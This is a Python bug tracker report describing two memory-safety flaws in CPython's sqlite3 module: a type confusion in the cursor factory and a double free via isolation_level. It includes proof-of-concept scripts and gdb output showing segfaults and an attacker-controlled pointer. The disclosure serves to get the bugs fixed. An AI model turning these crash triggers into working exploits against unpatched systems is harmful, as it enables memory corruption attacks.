Message273659
The first issue is a type confusion which resides in the sqlite3 module, in the
file connection.c. The function pysqlite_connection_cursor takes an optional
argument, a factory callable:
if (!PyArg_ParseTupleAndKeywords(args, kwargs, "|O", kwlist,
&factory)) {
return NULL;
}
If the factory callable is given, it is called to initialize a cursor:
cursor = PyObject_CallFunction(factory, "O", self);
After this the cursor, which is a PyObject *, is cast directly to a
pysqlite_Cursor without performing any type checking:
if (cursor && self->row_factory != Py_None) {
Py_INCREF(self->row_factory);
Py_XSETREF(((pysqlite_Cursor *)cursor)->row_factory, self->row_factory);
}
Here is a small script which is tested on Python-3.5.2, 64-bit, with
--with-pydebug enabled:
--- begin script ---
import sqlite3
conn = sqlite3.connect('poc2.db')
conn.row_factory = 12
conn.cursor(lambda x: "A"*0x10000)
--- end script ---
When run, this produces a segfault:
(gdb) r ./poc2.py
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6496ad8 in pysqlite_connection_cursor (self=0x7ffff68cc370, args=<optimized out>, kwargs=<optimized out>)
at /home/xx/Python-3.5.2/Modules/_sqlite/connection.c:322
warning: Source file is more recent than executable.
322 Py_XSETREF(((pysqlite_Cursor *)cursor)->row_factory, self->row_factory);
(gdb) p cursor
$13 = (PyObject *) 0xa46b90
(gdb) p self->row_factory
$14 = (PyObject *) 0x8d05f0 <small_ints+816>
(gdb) x/3i $pc
=> 0x7ffff6496ad8 <pysqlite_connection_cursor+221>: mov rax,QWORD PTR [rdi+0x10]
0x7ffff6496adc <pysqlite_connection_cursor+225>: sub rax,0x1
0x7ffff6496ae0 <pysqlite_connection_cursor+229>: mov QWORD PTR [rdi+0x10],rax
(gdb) p $rdi
$15 = 0x4141414141414141
An arbitrary word in memory is decremented.
------
The second issue exists in the function pysqlite_connection_set_isolation_level
which resides in /Modules/_sqlite/connection.c. It can result in memory getting
freed multiple times.
The problem is that the variable self->isolation_level is not cleared before
being DECREF'd.
The code looks like this:
static int pysqlite_connection_set_isolation_level(pysqlite_Connection* self, PyObject* isolation_level)
{
...
Py_XDECREF(self->isolation_level);
...
}
This call to Py_XDECREF can trigger an arbitrary amount of python code, e.g. via
self->isolation_level's __del__ method. That code could then call
pysqlite_connection_set_isolation_level again, which would trigger another
Py_XDECREF call on the same self->isolation_level, which can thus be freed an
arbitrary number of times.
One way to fix this is to use Py_CLEAR instead.
Here's a proof-of-concept script which results in a segfault here:
--- begin script ---
import sqlite3
class S(str):
def __del__(self):
conn.isolation_level = S("B")
conn = sqlite3.connect('poc6.db')
conn.isolation_level = S("A")
conn.isolation_level = ""
--- end script ---
When run it segfaults here, with Python-3.5.2 and --with-pydebug enabled:
(gdb) r ./poc6.py
Starting program: /home/xx/Python-3.5.2/python ./poc6.py
Program received signal SIGSEGV, Segmentation fault.
_Py_ForgetReference (op=op@entry=0x7ffff6d81b80) at Objects/object.c:1757
1757 if (op == &refchain ||
(gdb) bt
#0 _Py_ForgetReference (op=op@entry=0x7ffff6d81b80) at Objects/object.c:1757
#1 0x000000000049f8c0 in _Py_Dealloc (op=0x7ffff6d81b80) at Objects/object.c:1785
#2 0x000000000046ced8 in method_dealloc (im=im@entry=0x7ffff7f25de8) at Objects/classobject.c:198
#3 0x000000000049f8c5 in _Py_Dealloc (op=op@entry=0x7ffff7f25de8) at Objects/object.c:1786
... |
|
Date |
User |
Action |
Args |
2016-08-25 15:36:51 | tehybel | set | recipients:
+ tehybel, ghaering |
2016-08-25 15:36:51 | tehybel | set | messageid: <1472139411.37.0.427895086159.issue27861@psf.upfronthosting.co.za> |
2016-08-25 15:36:51 | tehybel | link | issue27861 messages |
2016-08-25 15:36:50 | tehybel | create | |
|